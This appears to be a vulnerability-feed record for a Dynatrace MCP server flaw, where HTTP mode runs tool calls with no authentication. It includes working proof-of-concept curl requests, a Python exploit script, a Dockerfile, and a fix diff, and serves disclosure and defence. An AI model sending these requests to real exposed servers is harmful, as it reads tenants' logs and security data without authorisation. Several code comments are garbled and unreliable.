{"id":"CVE-2026-123811","kind":"vulnerability","aliases":["CVE-2026-123811","GHSA-p7w7-4929-vpj5"],"related":[],"title":"`@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation","description":"### Summary\n\n`@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant).\n\n### Details\n\nWhen the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance:\n\n```ts\n// src/index.ts:1638-1640\nconst httpTransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: undefined, // No Session ID needed\n});\n```\n\nNo bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:\n\n```ts\n// src/index.ts:1648-1668\nbody = JSON.parse(rawBody);\n...\nawait httpTransport.handleRequest(req, res, body);\n```\n\nTwo tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate:\n\n**`execute_dql` — Confidentiality: High**\n```ts\n// src/index.ts:746-769\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...));\nreturn executeDql(dtClient, { query });\n```\nAn attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.\n\n**`create_dynatrace_notebook` — Integrity: Low**\n```ts\n// src/index.ts:1593-1600\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write'));\nreturn createNotebook(dtClient, { name, sections });\n```\nAn attacker can create notebooks under the victim's tenant.\n\n> **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector.\n\n> **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build from repository root\ndocker build \\\n  -t dynatrace-mcp-vuln001:latest \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/dynatrace-mcp/repo\n\n# Run — abc12345 in hostname activates demo mode, skipping real API connectivity check\ndocker run -d \\\n  --name dynatrace-mcp-vuln001-test \\\n  -p 127.0.0.1:3999:3999 \\\n  -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \\\n  -e DT_PLATFORM_TOKEN=fake-token-for-poc \\\n  dynatrace-mcp-vuln001:latest \\\n  --http --port 3999 --host 0.0.0.0\n```\n\n**Unauthenticated tool invocation (no `Authorization` header):**\n\n```bash\ncurl -sS -N -X POST http://127.0.0.1:3999/ \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'Mcp-Protocol-Version: 2025-03-26' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"reset_grail_budget\",\"arguments\":{}}}'\n```\n\n**Observed response (HTTP 200, no authentication required):**\n\n```\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\n\nevent: message\ndata: {\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"✅ **Grail Budget Reset Successfully!**\\n\\nBudget status after reset:\\n- Total bytes scanned: 0 bytes (0 GB)\\n- Budget limit: 5000 GB\\n- Remaining budget: 5000 GB\\n- Budget exceeded: No\"}]},\"jsonrpc\":\"2.0\",\"id\":1}\n```\n\n**Python PoC script** (automated, with server-readiness polling):\n\n```bash\npython3 poc.py 127.0.0.1 3999\n# Exits 0 on confirmed unauthenticated tool execution\n# Exits 2 if server correctly returns HTTP 401 (patched)\n```\n\n**High-impact variant with real credentials — data exfiltration via `execute_dql`:**\n\n```bash\ncurl -sS -N -X POST http://<server>:3000/ \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'Mcp-Protocol-Version: 2025-03-26' \\\n  --data '{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"execute_dql\",\n      \"arguments\": {\n        \"query\": \"fetch logs | limit 10\"\n      }\n    }\n  }'\n```\n\n**Recommended remediation:**\n\n```diff\n--- a/src/index.ts\n+++ b/src/index.ts\n+import { timingSafeEqual } from 'node:crypto';\n\n+    .option('--http-auth-token <token>', 'bearer token required for HTTP server mode')\n\n+  const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;\n+\n+  const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => {\n+    const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;\n+    const actualHeader = req.headers.authorization;\n+    if (!expected || !actualHeader) return false;\n+    const actual = Buffer.from(actualHeader);\n+    return actual.length === expected.length && timingSafeEqual(actual, expected);\n+  };\n\n   if (httpMode) {\n+    if (!httpAuthToken) {\n+      console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.');\n+      process.exit(1);\n+    }\n     const httpServer = createServer(async (req, res) => {\n+      if (!isAuthorizedHttpRequest(req)) {\n+        res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' });\n+        res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } }));\n+        return;\n+      }\n\n       const httpTransport = new StreamableHTTPServerTransport({\n         sessionIdGenerator: undefined,\n+        enableDnsRebindingProtection: true,\n+        allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],\n       });\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function** vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via `execute_dql` and write notebook documents via `create_dynatrace_notebook`, all under the configured Dynatrace credentials without needing to know those credentials.\n\n**Who is impacted:** Organizations running `dynatrace-mcp-server` with the `--http` flag enabled — particularly deployments using `--host 0.0.0.0` (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With `--host 0.0.0.0` the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)\n# build stage - text sourcefrom dynatrace-mcp-server build\nFROM node:22.21.1-alpine3.22 AS build\n\nWORKDIR /app\n\n# repo copy the full repo source (hosttext clone repo pathfrom textand build)\nCOPY . .\n\nRUN npm ci\nRUN npm run build\n\n# runtime textonly install (dist/package.json criteria)\nRUN cd dist && npm install --ignore-scripts && npm cache clean --force\n\n# runtime stage\nFROM node:22.21.1-alpine3.22\n\nWORKDIR /app\n\nCOPY --from=build --chown=node:node /app/dist /app/dist\n\nUSER node\n\n# environment variable: fake Dynatrace credentials (actual API calltext without reset_grail_budget PoCtext)\n# abc12345 contains when isDemoEnvironment=true → text text skip (src/index.ts:179)\nENV DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com\nENV DT_PLATFORM_TOKEN=fake-token-for-poc\n\n# HTTP text server start (--http: vulnerability text flag)\nENTRYPOINT [\"node\", \"dist/index.js\"]\nCMD [\"--http\", \"--port\", \"3999\", \"--host\", \"0.0.0.0\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated HTTP MCP Tool Invocation (CWE-306)\n\nProof objective:\n  dynatrace-mcp-servertext --http text executetext when, Authorization headertext\n  session token text tools/call requesttext sendand MCP tooltext executeto do can existstext proof.\n\nAttack target tool: reset_grail_budget\n  - actual Dynatrace API call text in-memory statusonly secondstext (textbeforetext PoC target)\n  - success response: \"Grail Budget Reset Successfully\" string contains\n\nusage:\n  python3 poc.py [host] [port]\n  python3 poc.py 127.0.0.1 3999\n\"\"\"\n\nimport sys\nimport socket\nimport time\nimport json\n\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3999\nTIMEOUT = 15\n\n\ndef wait_for_server(host: str, port: int, retries: int = 20, delay: float = 1.0) -> bool:\n    for i in range(retries):\n        try:\n            s = socket.create_connection((host, port), timeout=2)\n            s.close()\n            return True\n        except (ConnectionRefusedError, OSError):\n            print(f\"[*] server wait in progress... ({i+1}/{retries})\", flush=True)\n            time.sleep(delay)\n    return False\n\n\ndef send_unauthenticated_mcp_call(host: str, port: int) -> dict:\n    \"\"\"\n    without an authentication header MCP tools/call send request.\n    vulnerability: StreamableHTTPServerTransport create when sessionIdGenerator: undefinedonly configuration,\n            Bearer token/Origin/Host verification beforetext none (src/index.ts:1638-1640).\n    \"\"\"\n    payload = json.dumps({\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"reset_grail_budget\",\n            \"arguments\": {}\n        }\n    })\n\n    # authentication header textas omit - textthattext vulnerability prooftext key point\n    request = (\n        f\"POST / HTTP/1.1\\r\\n\"\n        f\"Host: {host}:{port}\\r\\n\"\n        f\"Content-Type: application/json\\r\\n\"\n        f\"Accept: application/json, text/event-stream\\r\\n\"\n        f\"Mcp-Protocol-Version: 2025-03-26\\r\\n\"\n        f\"Content-Length: {len(payload)}\\r\\n\"\n        f\"Connection: close\\r\\n\"\n        f\"\\r\\n\"\n        f\"{payload}\"\n    )\n\n    s = socket.create_connection((host, port), timeout=TIMEOUT)\n    s.sendall(request.encode())\n\n    response_chunks = []\n    s.settimeout(TIMEOUT)\n    try:\n        while True:\n            chunk = s.recv(4096)\n            if not chunk:\n                break\n            response_chunks.append(chunk.decode(\"utf-8\", errors=\"replace\"))\n    except socket.timeout:\n        pass\n    s.close()\n\n    return \"\".join(response_chunks)\n\n\ndef main():\n    print(f\"[VULN-001 PoC] Unauthenticated HTTP MCP Tool Invocation\")\n    print(f\"[*] target: http://{HOST}:{PORT}/\")\n    print(f\"[*] authentication header: none (text omit - vulnerability proof)\")\n    print(f\"[*] call tool: reset_grail_budget\")\n    print()\n\n    # wait for server readiness\n    print(f\"[*] waiting for server response...\")\n    if not wait_for_server(HOST, PORT):\n        print(f\"[FAIL] {HOST}:{PORT} from server is not responding.\")\n        sys.exit(1)\n\n    print(f\"[*] server connection succeeded\")\n    print(f\"[*] without authentication tools/call send request...\")\n    print()\n\n    raw_response = send_unauthenticated_mcp_call(HOST, PORT)\n\n    print(\"=== HTTP response raw text ===\")\n    print(raw_response)\n    print(\"=== response text ===\")\n    print()\n\n    # evidence verification\n    # HTTP 401 Unauthorizedtext returnif it becomes vulnerability none (textdone)\n    if \"401\" in raw_response and \"Unauthorized\" in raw_response:\n        print(\"[FAIL] servertext 401 Unauthorizedtext returntext - authenticationtext textbecomes exists\")\n        print(\"[conclusion] vulnerabilitytext text authenticationtext enabledbecomes exists.\")\n        sys.exit(2)\n\n    # success condition: reset_grail_budget result text contains\n    if \"Grail Budget Reset Successfully\" in raw_response:\n        print(\"[PASS] without authentication MCP tool execute success!\")\n        print(\"[evidence] responsetext 'Grail Budget Reset Successfully' contains\")\n        print(\"[conclusion] VULN-001 confirmed: --http textfrom without authentication tools/call execute possible\")\n        sys.exit(0)\n\n    # jsonrpc result parse attempt\n    for line in raw_response.split(\"\\n\"):\n        line = line.strip()\n        if line.startswith(\"data:\") or line.startswith(\"{\"):\n            try:\n                data_str = line[5:].strip() if line.startswith(\"data:\") else line\n                data = json.loads(data_str)\n                if \"result\" in data:\n                    print(\"[PASS] JSON-RPC result received - without authentication tool call success\")\n                    print(f\"[evidence] {json.dumps(data, ensure_ascii=False)}\")\n                    sys.exit(0)\n                if \"error\" in data:\n                    err = data[\"error\"]\n                    print(f\"[INFO] JSON-RPC error response: code={err.get('code')}, message={err.get('message')}\")\n            except json.JSONDecodeError:\n                pass\n\n    print(\"[INCOMPLETE] expected response patterntext text text.\")\n    print(\"[text] above response raw texttext check this.\")\n    sys.exit(3)\n\n\nif __name__ == \"__main__\":\n    main()\n```","summary":"When the Dynatrace MCP server runs in HTTP mode, it accepts tool calls with no authentication check. Anyone who can reach the port can run tools such as execute_dql under the server's Dynatrace credentials, reading logs and security events and writing notebooks.","severity":"high","cvss":7.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@dynatrace-oss/dynatrace-mcp-server","fixed":["2.0.0"],"affected":"<= 1.8.7","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["containers","cwe-306","dynatrace","mcp","node","package","self-hosted"],"not_affected_if":["no-http-flag","port-not-reachable","stdio-only"],"how_to_check":"- Check whether the server is started with `--http` (look at the process arguments or container command).\n- Check the installed version with `npm ls @dynatrace-oss/dynatrace-mcp-server`; affected versions are `<= 1.8.7`.\n- Check whether the HTTP port is reachable from outside the host, especially when bound with `--host 0.0.0.0`.","fix":"- `@dynatrace-oss/dynatrace-mcp-server`: move to `2.0.0`","status":"open","published_at":"2026-07-31T16:05:57+00:00","first_seen_at":"2026-11-09T21:04:01+00:00","triaged_at":"2026-11-09T21:04:18+00:00","updated_at":"2026-11-09T21:04:18+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-09T21:04:18Z","model":"claude-haiku-5-5","output":{"fix":"- `@dynatrace-oss/dynatrace-mcp-server`: move to `2.0.0`","reach":"network","title":"Dynatrace MCP server: HTTP mode runs tools with no authentication","impact":"high","summary":"When the Dynatrace MCP server runs in HTTP mode, it accepts tool calls with no authentication check. Anyone who can reach the port can run tools such as execute_dql under the server's Dynatrace credentials, reading logs and security events and writing notebooks.","audience":"developers","category":"package","nicknames":[],"who_cares":["mcp","dynatrace","node","self-hosted","containers"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Attacker reads tenant logs and security events and writes notebooks","analyst_note":"","how_to_check":"- Check whether the server is started with `--http` (look at the process arguments or container command).\n- Check the installed version with `npm ls @dynatrace-oss/dynatrace-mcp-server`; affected versions are `<= 1.8.7`.\n- Check whether the HTTP port is reachable from outside the host, especially when bound with `--host 0.0.0.0`.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["stdio-only","no-http-flag","port-not-reachable"],"who_is_affected":"Teams that run the Dynatrace MCP server with the --http flag, especially bound to 0.0.0.0 or in containers where the port is reachable from untrusted networks. Stdio-only use does not expose the HTTP transport, and a localhost-only deployment has reduced exposure, though the sources note DNS rebinding and same-host risk remain.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.001283,"input_tokens":9638,"output_tokens":638,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-03':565C '-123811':13A,21A '-1239':429C '-1600':323C '-1640':200C '-1668':249C '-2026':12A,20A '-26':566C '-306':28B '-769':279C '/dynatrace-mcp-server':4A,25A,84C '/path/to/dynatrace-mcp/repo':487C '/path/to/vuln-001/dockerfile':486C '0.0.0.0':535C '1':571C '1218':428C '127.0.0.1':510C,548C '1367':368C '1593':322C '1621':185C '1638':199C '1648':248C '2.0':569C '200':583C,588C '2025':564C '3999':511C,512C,533C,549C '4929':17A '746':278C 'abc12345':489C 'abc12345.apps.dynatrace.com':516C 'accept':46B,556C 'activ':492C 'actual':459C 'allowlist':219C,222C 'also':362C 'anyon':53B 'api':434C,497C 'application/json':554C,557C 'arbitrari':149C,300C 'argument':579C 'attack':111C,297C,341C,381C,412C 'authent':51B,96C,144C,585C 'author':123C,540C 'await':253C,286C,330C 'bash':472C,542C 'bearer':213C 'bearer-token':212C 'block':394C,398C 'bodi':237C,250C,257C 'bucket':290C 'budget':420C,426C,441C,578C 'build':473C,478C 'call':48B,106C,372C,388C,435C 'caller':267C 'catch':393C 'caus':386C 'check':52B,215C,499C 'claim':358C 'code':364C 'confidenti':274C 'configur':224C 'confirm':137C,369C 'connect':498C 'const':201C,284C,328C 'cont':590C 'contain':26B,453C 'content':552C 'content-typ':551C 'counter':442C 'creat':160C,182C,192C,315C,343C 'createauthenticatedhttpcli':283C,287C,327C,331C 'createnotebook':336C 'credenti':71B,136C,314C,467C 'curl':543C 'cve':11A,19A 'cwe':27B 'd':502C 'data':151C,460C,567C 'demo':493C 'detail':168C 'direct':129C,242C,261C 'dispatch':103C,457C 'docker':471C,477C,500C 'document':333C 'dql':65B,147C,273C,301C,464C 'dt':514C,518C 'dtclient':285C,294C,329C,337C 'dynatrac':2A,29B,38B,70B,82C,135C,161C,313C,316C,433C,481C,505C,527C 'dynatrace':23A 'dynatrace-mcp-vuln001':480C,526C 'dynatrace-mcp-vuln001-test':504C 'dynatrace-oss':1A,22A,81C 'e':513C,517C 'effect':397C 'either':226C 'elicit':384C 'environ':469C,515C 'event':76B,155C,305C,353C,360C,377C,403C 'everi':187C 'execut':64B,128C,146C,272C,463C 'executedql':293C 'exfiltr':461C 'exist':373C 'exploit':408C 'expos':86C 'f':485C 'fake':522C 'fake-token-for-poc':521C 'fals':396C 'flag':92C,177C 'gate':271C 'ghsa':15A 'ghsa-p7w7':14A 'grail':150C,419C,425C,577C 'h':550C,555C,559C 'hand':241C 'handler':191C,234C,378C 'header':124C,541C 'high':139C,275C 'high-impact':138C 'host':35B,218C,534C 'hostnam':491C 'http':7A,43B,88C,91C,176C,179C,266C,380C,411C,531C,582C 'http/1.1':587C 'httptransport':202C 'httptransport.handlerequest':254C 'id':209C,570C 'impact':140C 'in-memori':438C 'inbound':188C 'includ':145C,152C 'initi':355C 'insid':374C 'inspect':365C 'instanc':196C 'integr':318C 'invoc':10A,538C 'json':117C 'json-rpc':116C 'json.parse':251C 'jsonrpc':568C 'latest':484C,530C 'log':73B,153C,303C 'loop':385C 'low':319C 'mcp':8A,30B,39B,104C,383C,482C,506C,528C,561C 'mcp-protocol-vers':560C 'memori':440C 'method':572C 'metric':308C 'mode':44B,90C,494C 'n':545C 'name':338C,503C,575C 'need':210C 'network':109C 'network-reach':108C 'new':194C,203C 'node':31B 'note':350C,414C 'notebook':79B,162C,164C,317C,344C 'observ':580C 'ok':589C 'origin':221C 'origin/host':100C 'oss':3A,24A,83C 'p':509C 'p7w7':16A 'packag':32B 'param':574C 'pars':239C 'path':404C 'perform':94C,431C 'platform':519C 'poc':416C,422C,468C,525C 'port':58B,532C 'post':547C 'proof':454C 'protocol':562C 'pure':447C 'queri':295C,302C 'raw':115C,236C 'rawbodi':252C 'reach':56B 'reachabl':110C,142C,262C 'read':72B,148C,291C 'real':466C,496C 'report':357C 'repositori':475C 'req':255C 'request':120C,189C,233C 'requesthumanapprov':270C,281C,325C,371C 'requir':462C,586C 'res':256C 'reset':418C,424C,437C,576C 'respons':581C 'return':292C,335C,395C 'root':476C 'rpc':118C 'run':41B,60B,299C,488C,501C 'safe':450C 'scopesbase.concat':288C,332C 'section':339C 'secur':75B,154C,304C 'self':34B,452C 'self-contain':451C 'self-host':33B 'send':113C,352C,359C,376C,402C 'server':40B,68B,133C,171C,180C 'session':97C,158C,208C,216C,307C 'sessionidgener':205C 'setup':470C 'skip':495C 'src/index.ts':184C,198C,247C,277C,321C,367C,427C 'ss':544C 'start':173C 'static':356C 'storag':289C 'streamablehttpservertransport':195C,204C 'summari':80C 'surround':232C 'tenant':167C,349C 'test':508C 'text/event-stream':558C 'therefor':406C 'throw':390C 'token':214C,217C,520C,523C 'tool':9A,47B,61B,105C,141C,259C,417C,537C 'tools/call':119C,573C 'transport':89C,228C,245C 'ts':197C,246C,276C,320C 'two':258C 'type':553C 'unauthent':6A,265C,456C,536C 'undefin':206C 'unguard':363C 'use':309C,423C,446C 'user':157C,306C 'v1.8.5':85C 'valid':98C 'vector':413C 'verif':101C 'version':563C 'via':409C 'victim':132C,311C,347C 'vpj5':18A 'vuln001':483C,507C,529C 'without':121C,143C,268C 'work':458C 'write':78B,163C,334C,400C 'x':546C","nicknames":[],"mitigations":[],"who_affected":"Teams that run the Dynatrace MCP server with the --http flag, especially bound to 0.0.0.0 or in containers where the port is reachable from untrusted networks. Stdio-only use does not expose the HTTP transport, and a localhost-only deployment has reduced exposure, though the sources note DNS rebinding and same-host risk remain.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["dynatracemcpserver"],"ptokens":["dynatrace","mcp","oss","server"],"labels":["containers","cwe306","dynatrace","high","mcp","node","npm","package","selfhosted"],"campaign_type":null,"search_a":"'-123811':13A,21A '-2026':12A,20A '/dynatrace-mcp-server':4A,25A '4929':17A 'cve':11A,19A 'dynatrac':2A 'dynatrace':23A 'dynatrace-oss':1A,22A 'ghsa':15A 'ghsa-p7w7':14A 'http':7A 'invoc':10A 'mcp':8A 'oss':3A,24A 'p7w7':16A 'tool':9A 'unauthent':6A 'vpj5':18A","search_b":"'-306':28B 'accept':46B 'anyon':53B 'authent':51B 'call':48B 'check':52B 'contain':26B 'credenti':71B 'cwe':27B 'dql':65B 'dynatrac':29B,38B,70B 'event':76B 'execut':64B 'host':35B 'http':43B 'log':73B 'mcp':30B,39B 'mode':44B 'node':31B 'notebook':79B 'packag':32B 'port':58B 'reach':56B 'read':72B 'run':41B,60B 'secur':75B 'self':34B 'self-host':33B 'server':40B,68B 'tool':47B,61B 'write':78B","search_c":"'-03':565C '-1239':429C '-1600':323C '-1640':200C '-1668':249C '-26':566C '-769':279C '/dynatrace-mcp-server':84C '/path/to/dynatrace-mcp/repo':487C '/path/to/vuln-001/dockerfile':486C '0.0.0.0':535C '1':571C '1218':428C '127.0.0.1':510C,548C '1367':368C '1593':322C '1621':185C '1638':199C '1648':248C '2.0':569C '200':583C,588C '2025':564C '3999':511C,512C,533C,549C '746':278C 'abc12345':489C 'abc12345.apps.dynatrace.com':516C 'accept':556C 'activ':492C 'actual':459C 'allowlist':219C,222C 'also':362C 'api':434C,497C 'application/json':554C,557C 'arbitrari':149C,300C 'argument':579C 'attack':111C,297C,341C,381C,412C 'authent':96C,144C,585C 'author':123C,540C 'await':253C,286C,330C 'bash':472C,542C 'bearer':213C 'bearer-token':212C 'block':394C,398C 'bodi':237C,250C,257C 'bucket':290C 'budget':420C,426C,441C,578C 'build':473C,478C 'call':106C,372C,388C,435C 'caller':267C 'catch':393C 'caus':386C 'check':215C,499C 'claim':358C 'code':364C 'confidenti':274C 'configur':224C 'confirm':137C,369C 'connect':498C 'const':201C,284C,328C 'cont':590C 'contain':453C 'content':552C 'content-typ':551C 'counter':442C 'creat':160C,182C,192C,315C,343C 'createauthenticatedhttpcli':283C,287C,327C,331C 'createnotebook':336C 'credenti':136C,314C,467C 'curl':543C 'd':502C 'data':151C,460C,567C 'demo':493C 'detail':168C 'direct':129C,242C,261C 'dispatch':103C,457C 'docker':471C,477C,500C 'document':333C 'dql':147C,273C,301C,464C 'dt':514C,518C 'dtclient':285C,294C,329C,337C 'dynatrac':82C,135C,161C,313C,316C,433C,481C,505C,527C 'dynatrace-mcp-vuln001':480C,526C 'dynatrace-mcp-vuln001-test':504C 'dynatrace-oss':81C 'e':513C,517C 'effect':397C 'either':226C 'elicit':384C 'environ':469C,515C 'event':155C,305C,353C,360C,377C,403C 'everi':187C 'execut':128C,146C,272C,463C 'executedql':293C 'exfiltr':461C 'exist':373C 'exploit':408C 'expos':86C 'f':485C 'fake':522C 'fake-token-for-poc':521C 'fals':396C 'flag':92C,177C 'gate':271C 'grail':150C,419C,425C,577C 'h':550C,555C,559C 'hand':241C 'handler':191C,234C,378C 'header':124C,541C 'high':139C,275C 'high-impact':138C 'host':218C,534C 'hostnam':491C 'http':88C,91C,176C,179C,266C,380C,411C,531C,582C 'http/1.1':587C 'httptransport':202C 'httptransport.handlerequest':254C 'id':209C,570C 'impact':140C 'in-memori':438C 'inbound':188C 'includ':145C,152C 'initi':355C 'insid':374C 'inspect':365C 'instanc':196C 'integr':318C 'invoc':538C 'json':117C 'json-rpc':116C 'json.parse':251C 'jsonrpc':568C 'latest':484C,530C 'log':153C,303C 'loop':385C 'low':319C 'mcp':104C,383C,482C,506C,528C,561C 'mcp-protocol-vers':560C 'memori':440C 'method':572C 'metric':308C 'mode':90C,494C 'n':545C 'name':338C,503C,575C 'need':210C 'network':109C 'network-reach':108C 'new':194C,203C 'note':350C,414C 'notebook':162C,164C,317C,344C 'observ':580C 'ok':589C 'origin':221C 'origin/host':100C 'oss':83C 'p':509C 'param':574C 'pars':239C 'path':404C 'perform':94C,431C 'platform':519C 'poc':416C,422C,468C,525C 'port':532C 'post':547C 'proof':454C 'protocol':562C 'pure':447C 'queri':295C,302C 'raw':115C,236C 'rawbodi':252C 'reachabl':110C,142C,262C 'read':148C,291C 'real':466C,496C 'report':357C 'repositori':475C 'req':255C 'request':120C,189C,233C 'requesthumanapprov':270C,281C,325C,371C 'requir':462C,586C 'res':256C 'reset':418C,424C,437C,576C 'respons':581C 'return':292C,335C,395C 'root':476C 'rpc':118C 'run':299C,488C,501C 'safe':450C 'scopesbase.concat':288C,332C 'section':339C 'secur':154C,304C 'self':452C 'self-contain':451C 'send':113C,352C,359C,376C,402C 'server':133C,171C,180C 'session':97C,158C,208C,216C,307C 'sessionidgener':205C 'setup':470C 'skip':495C 'src/index.ts':184C,198C,247C,277C,321C,367C,427C 'ss':544C 'start':173C 'static':356C 'storag':289C 'streamablehttpservertransport':195C,204C 'summari':80C 'surround':232C 'tenant':167C,349C 'test':508C 'text/event-stream':558C 'therefor':406C 'throw':390C 'token':214C,217C,520C,523C 'tool':105C,141C,259C,417C,537C 'tools/call':119C,573C 'transport':89C,228C,245C 'ts':197C,246C,276C,320C 'two':258C 'type':553C 'unauthent':265C,456C,536C 'undefin':206C 'unguard':363C 'use':309C,423C,446C 'user':157C,306C 'v1.8.5':85C 'valid':98C 'vector':413C 'verif':101C 'version':563C 'via':409C 'victim':132C,311C,347C 'vuln001':483C,507C,529C 'without':121C,143C,268C 'work':458C 'write':163C,334C,400C 'x':546C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-07-31T16:05:57+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-p7w7-4929-vpj5","url":"https://github.com/advisories/GHSA-p7w7-4929-vpj5","severity":"high","published_at":"2026-07-31T16:05:57+00:00","modified_at":"2026-11-09T21:01:51+00:00","first_seen_at":"2026-11-09T21:04:01+00:00","fetched_at":"2026-11-09T21:08:45+00:00","note":null}],"documents":[{"id":109874,"url":"https://api.github.com/repos/dynatrace-oss/dynatrace-mcp/security-advisories/GHSA-p7w7-4929-vpj5","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":109875,"url":"https://github.com/dynatrace-oss/dynatrace-mcp/security/advisories/GHSA-p7w7-4929-vpj5","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":109876,"url":"https://github.com/dynatrace-oss/dynatrace-mcp/pull/536","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":109877,"url":"https://github.com/dynatrace-oss/dynatrace-mcp/commit/8f12972481e9165e8bd24d63b0a9e71976f85a43","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":109846,"url":"https://github.com/dynatrace-oss/dynatrace-mcp/releases/tag/v2.0.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}